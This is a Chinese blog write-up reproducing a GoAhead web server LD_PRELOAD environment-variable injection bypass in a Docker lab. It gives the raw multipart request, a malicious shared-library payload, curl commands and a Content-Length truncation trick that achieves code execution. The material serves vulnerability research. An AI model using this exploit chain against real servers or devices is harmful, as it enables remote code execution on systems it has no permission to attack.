GoAhead环境变量注入复现踩坑记

2023-11-03 19:49:32 浏览数 (2)

漏洞原理

GoAhead曾经出现过一次环境变量注入漏洞，建议先看下Vulhub中相关的漏洞环境与描述：GoAhead Web Server HTTPd 'LD_PRELOAD' Remote Code Execution (CVE-2017-17562)。

这个老漏洞的原理也很简单，就是GoAhead在处理CGI请求时，将用户传入的的参数作为环境变量了。这样，通过LD_PRELOAD就可以劫持CGI进程的动态链接库，进而执行任意代码。

今天这个漏洞实际上是对老漏洞的一次绕过，漏洞原理不是本文重点，我用两段简单的文字进行描述：

  • 补丁对用户传入参数进行了黑名单过滤，LD_PRELOAD这类参数不再设置为环境变量。但由于这个限制使用错了函数，导致实际上并没有生效（这就是不写单元测试的后果，但换句话说，又有多少漏洞POC是从单元测试里泄露的？）
  • 补丁还将用户传入的参数名前面增加了前缀，导致无法劫持任意环境变量。但这个限制漏掉了multipart的POST包，所以攻击者通过这个方式仍然可以注入任意环境变量

环境搭建

说个趣事，GoAhead官方Embedthis曾在今年或者去年的时候把自己旗下的几个开源项目，包括GoAhead、AppWeb等直接从Github删掉了，在官网上只留了最新版源码下载，如果需要下载旧版得成为付费用户，大有转开源为闭源的趋势。但是没想到昨天重新打开Github一看，诶，项目又回来了，只不过所有的star都遗失了，有点可惜。

说回来，GoAhead的优点是非常轻量，编译几乎不需要额外的第三库，我们下载gcc、make等工具编译即可，我直接将Vulhub中旧版本的Dockerfile拿来改下版本号：

代码语言：javascript复制
FROM debian:buster

LABEL maintainer="phithon <root@leavesongs.com>"

RUN set -ex 
    && apt-get update 
    && apt-get install wget make gcc -y 
    && wget -qO- https://github.com/embedthis/goahead/archive/refs/tags/v5.1.4.tar.gz | tar zx --strip-components 1 -C /usr/src/ 
    && cd /usr/src 
    && make 
    && make install 
    && cp src/self.key src/self.crt /etc/goahead/ 
    && mkdir -p /var/www/goahead/cgi-bin/ 
    && apt-get purge -y --auto-remove wget make gcc 
    && cd /var/www/goahead 
    && rm -rf /usr/src/ /var/lib/apt/lists/* 
    && sed -e 's!^# route uri=/cgi-bin dir=cgi-bin handler=cgi$!route uri=/cgi-bin dir=/var/www/goahead handler=cgi!' -i /etc/goahead/route.txt

CMD ["goahead", "-v", "--home", "/etc/goahead", "/var/www/goahead"]

另外还有一点要注意的是，今年五月份GoAhead默认将CGI相关的配置注释了。

这也是这个漏洞的第一个坑：新版本的GoAhead默认没有开启CGI配置，而老版本如果没有cgi-bin目录，或者里面没有cgi文件，也不受这个漏洞影响。所以并不像某些文章里说的那样影响广泛。

我将CGI相关的配置去掉注释并配置好，编译很顺利就通过了。此时我们就可以把这个Docker镜像跑起来：

代码语言：javascript复制
docker run -d -it --name web -p 8080:80 -v `pwd`:/var/www/goahead/cgi-bin vulhub/goahead:5.1.4

然后我们再在当前目录下增加一个cgi文件，比如test，并增加执行权限：

代码语言：javascript复制
#!/bin/bash

echo -e "Content-Type: text/plainn"
env

访问输出当前的env，说明成功部署并解析完成了：

但是我后文会讲，这样搭建的环境实际上是有坑的。

漏洞复现

首先我们来尝试看是否可以注入环境变量。从原理上来看，实际上就是发送一个multipart数据包，就可以通过表单来注入环境变量，所以我们尝试发送如下数据包：

代码语言：javascript复制
POST /cgi-bin/test HTTP/1.1
Host: 192.168.1.112:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarylNDKbe0ngCGdEiPM
Content-Length: 145

------WebKitFormBoundarylNDKbe0ngCGdEiPM
Content-Disposition: form-data; name="LD_PRELOAD"

test
------WebKitFormBoundarylNDKbe0ngCGdEiPM--

可见，环境变量LD_PRELOAD注入成功了，漏洞确实存在：

到这一步一切比较顺利。

漏洞利用

文件上传目录配置

注入环境变量的目的当然是利用漏洞，做到任意代码执行。但是我们看老的漏洞CVE-2017-17562，当时是将LD_PRELOAD设置成标准输入，即LD_PRELOAD=/proc/self/fd/0。因为在CGI中POST Body就是标准输入，所以正好可以将劫持的so文件放在Body中发送，完成利用。

但这次我们需要在Body中发送multipart表单，自然不能再用这种方法。

我们的目的是在服务器上上传一个可控内容的文件，然后将环境变量LD_PRELOAD设置为这个文件的路径，这样来劫持动态链接库。很容易想到另一个方法就是通过上传文件的形式来创建文件。

和PHP一样，GoAhead在遇到上传表单的时候，会先将这个上传的文件保存在一个临时目录下，待脚本程序处理完成后删掉这个临时文件。

我们尝试发送一个文件上传数据包：

但发现直接爆500了，查看日志，错误信息是：

代码语言：javascript复制
goahead: 2: POST /cgi-bin/test HTTP/1.1
goahead: 2: Cannot open upload temp file tmp/tmp-1.tmp

失败原因是无法写入临时文件tmp/tmp-1.tmp。我们查看GoAhead源码可以发现其中对上传目录有这样一个配置：

代码语言：javascript复制
#ifndef ME_GOAHEAD_UPLOAD_DIR
    #define ME_GOAHEAD_UPLOAD_DIR "tmp"
#endif

PUBLIC void websUploadOpen(void)
{
    uploadDir = ME_GOAHEAD_UPLOAD_DIR;
    if (*uploadDir == '') {
#if ME_WIN_LIKE
        uploadDir = getenv("TEMP");
#else
        uploadDir = "/tmp";
#endif
    }
    trace(4, "Upload directory is %s", uploadDir);
    websDefineHandler("upload", 0, uploadHandler, 0, 0);
}

如果宏ME_GOAHEAD_UPLOAD_DIR没有定义，则将其定义为tmp。然后将其赋值给uploadDir，ME_GOAHEAD_UPLOAD_DIR一定不是空字符串，所以上传目录就是tmp。

很明显这是个相对路径，相对于的是当前目录，当前目录是在启动GoAhead的时候用--home参数指定的，是存放配置文件的目录，在我这里就是/etc/goahead。

也就是说，临时文件是存放在/etc/goahead/tmp这个目录下的，如果这个目录不存在或者不可写，那么就会出现上传时500。

这就是第二个坑：因为很多IOT设备并没有文件上传的需求，也就没有好好配置这个目录，导致实际上攻击者无法通过文件上传的方式向目标写入任意文件，也就无法完成攻击。

作为开发者，我们当然可以解决这个问题，有两种方法：

  • 创建/etc/goahead/tmp目录并设置写权限
  • 在编译GoAhead的时候指定ME_GOAHEAD_UPLOAD_DIR参数，修改临时目录路径

我使用的第二种方法，修改Dockerfile如下：

代码语言：javascript复制
FROM debian:buster

LABEL maintainer="phithon <root@leavesongs.com>"

RUN set -ex 
    && apt-get update 
    && apt-get install wget make gcc -y 
    && wget -qO- https://github.com/embedthis/goahead/archive/refs/tags/v5.1.4.tar.gz | tar zx --strip-components 1 -C /usr/src/ 
    && cd /usr/src 
    && make SHOW=1 ME_GOAHEAD_UPLOAD_DIR="'"/tmp"'" 
    && make install 
    && cp src/self.key src/self.crt /etc/goahead/ 
    && mkdir -p /var/www/goahead/cgi-bin/ 
    && apt-get purge -y --auto-remove wget make gcc 
    && cd /var/www/goahead 
    && rm -rf /usr/src/ /var/lib/apt/lists/* 
    && sed -e 's!^# route uri=/cgi-bin dir=cgi-bin handler=cgi$!route uri=/cgi-bin dir=/var/www/goahead handler=cgi!' -i /etc/goahead/route.txt

EXPOSE 80
CMD ["goahead", "-v", "--home", "/etc/goahead", "/var/www/goahead"]

设置参数的方法是在make命令后面增加参数（这几层引号与引号的转义也是大坑，本文不细讲）：

代码语言：javascript复制
make SHOW=1 ME_GOAHEAD_UPLOAD_DIR="'"/tmp"'"

这时候再上传文件就不会出错了：

Too Big

那么，我们按照文章中的方法复现这个漏洞试试。

首先，本地写一个劫持LD_PRELOAD的动态链接库：

代码语言：javascript复制
#include <unistd.h>

static void before_main(void) __attribute__((constructor));

static void before_main(void)
{
    write(1, "Hello: Worldrnrn", 16);
    write(1, "Hackedn", 7);
}

编译：

代码语言：javascript复制
gcc -shared -fPIC ./payload.c -o payload.so

然后我们发送POST数据包：

代码语言：javascript复制
curl -v -F data=@payload.so -F "LD_PRELOAD=/proc/self/fd/7" http://192.168.1.112:8080/cgi-bin/test

先不说能不能执行命令了，整个HTTP连接直接被切断了：

我们查看日志信息，可见报了一个Too big错误：

代码语言：javascript复制
web_1  | goahead: 2: POST /cgi-bin/test HTTP/1.1
web_1  | goahead: 2: Too big

这个错误信息比较粗糙，我们可以在代码里搜索一下Too big这个关键词，看看是哪里出错了：

代码语言：javascript复制
if (strcmp(key, "content-length") == 0) {
  if ((wp->rxLen = atoi(value)) < 0) {
    websError(wp, HTTP_CODE_REQUEST_TOO_LARGE | WEBS_CLOSE, "Invalid content length");
    return;
  }
  if (smatch(wp->method, "PUT")) {
    if (wp->rxLen > ME_GOAHEAD_LIMIT_PUT) {
      websError(wp, HTTP_CODE_REQUEST_TOO_LARGE | WEBS_CLOSE, "Too big");
      return;
    }
  } else {
    if (wp->rxLen > ME_GOAHEAD_LIMIT_POST) {
      websError(wp, HTTP_CODE_REQUEST_TOO_LARGE | WEBS_CLOSE, "Too big");
      return;
    }
  }
  if (!smatch(wp->method, "HEAD")) {
    wp->rxRemaining = wp->rxLen;
  }
}

原来是数据包过大，超过了ME_GOAHEAD_LIMIT_POST的大小导致报错了。

我们看看ME_GOAHEAD_LIMIT_POST默认值是多少：

代码语言：javascript复制
#ifndef ME_GOAHEAD_LIMIT_POST
    #define ME_GOAHEAD_LIMIT_POST 16384
#endif

默认最大支持16384个字节，其实挺小的。作为开发者，我们同样可以通过在make的时候修改这个值，但是作为攻击者，只能修改我们自己的攻击载荷，让其不要”超标“。

这就是第三个坑：攻击时使用的动态链接库不能过大，否则可能导致服务端出错，直接断开链接。

我们可以在gcc的时候增加-s参数来缩小payload体积：

代码语言：javascript复制
gcc -s -shared -fPIC ./payload.c -o payload.so

优化过的payload只有14416字节，可以达标了。

找不到文件描述符

重新使用新的payload.so发送数据包：

代码语言：javascript复制
curl -v -F data=@payload.so -F "LD_PRELOAD=/proc/self/fd/7" http://192.168.1.112:8080/cgi-bin/test

但我尝试了从4开始到100所有的文件描述符，都无法完成劫持，查看日志无非是如下几种错误：

  • ERROR: ld.so: object '/proc/self/fd/7' from LD_PRELOAD cannot be preloaded (file too short): ignored.
  • ERROR: ld.so: object '/proc/self/fd/5' from LD_PRELOAD cannot be preloaded (cannot open shared object file): ignored.
  • ERROR: ld.so: object '/proc/self/fd/2' from LD_PRELOAD cannot be preloaded (invalid ELF header): ignored.

按照原文章中的方法，这个漏洞完全利用不了。

那么我们来研究研究原因。我们修改test cgi脚本，让其输出一下/proc/self/fd/下的文件和/tmp/下的文件：

代码语言：javascript复制
#!/bin/bash

echo -e "Content-Type: text/htmln";

ls -al /proc/self/fd/
ls -al /tmp/

发送一个上传包：

可见，tmp目录下成功写入了临时文件tmp-22.tmp，但在/proc/self/fd/目录下没有相关的文件描述符。

我没有调试代码，无法肯定导致这个问题的原因。但有一种可能，就是在执行到CGI这里的时候，被打开的临时文件描述符其实已经被关闭了。这就是我遇到的第四个坑。

找到可包含的文件

那么我们如果想要利用这个漏洞，就必须找到可以被包含的文件，从上面的测试过程可以发现，临时文件其实已经被写入了，只不过其中文件名包含一个从0开始递增的数字，我们需要进行爆破。

而且爆破的请求本身也会导致这个数字继续上涨，这个过程十分不稳定，所以自然也不建议利用这个文件。

我们还是看回到文件描述符，什么情况下我们可以让这个文件描述符不要关闭？

我想到一种方法，就是在文件没有上传完成的时候，这个文件描述符不会被关闭。那么如何做点这一点呢？有两种方法：

  • 使用两个线程，线程一流式缓慢上传文件，线程二使用LD_PRELOAD包含这个文件
  • 给payload.so文件内容后增加一些脏字符，并将HTTP的Content-Length设置成小于最终的数据包Body大小。这样，GoAhead读取数据包的时候能够完全读取到payload.so的内容，但实际这个文件并没有上传完毕

第二种方法不需要用到线程或竞争，一个数据包可以搞定，甚至不需要写代码，所以我通过第二种方法来利用。

首先构造好之前那个无法利用的数据包，其中第一个表单字段是LD_PRELOAD，值是文件描述符，一般是/proc/self/fd/7。然后我们需要改造这个数据包：

  • 给payload.so文件末尾增加几千个字节的脏字符，比如说a
  • 关掉burpsuite自动的“Update Content-Length”
  • 将数据包的Content-Length设置为不超过16384的值，但需要比payload.so文件的大小要大个500字节左右，我这里设置为15000

发送这个数据包，就可以成功劫持到LD_PRELOAD：

这里的原理其实就是，pyaload.so加上后面的脏字符构造的数据包实际大小比Content-Length大，导致上传实际上只上传了一半，保存在临时文件中的是完整的payload.so和一些脏字符。

由于上传流程没有结束，所以此时文件描述符是没有关闭的，可以通过/proc/self/fd/7读取到，脏字符也不影响动态链接库的加载和运行，最后即可成功完成劫持。

后记

这个漏洞踩坑了一晚上，最后仍然没能复现原始文章中直接包含文件描述符的方法，但通过上传一个“不完整”的数据包间接达到了这个目的，完成了攻击流程。

至于PBCTF 2021 - RCE 0-Day in Goahead Webserver文章中介绍的注入其他环境变量来getshell的方法，虽不通用也很有趣，大家可以自行学习。

编译 表单 漏洞 配置 原理

0 人点赞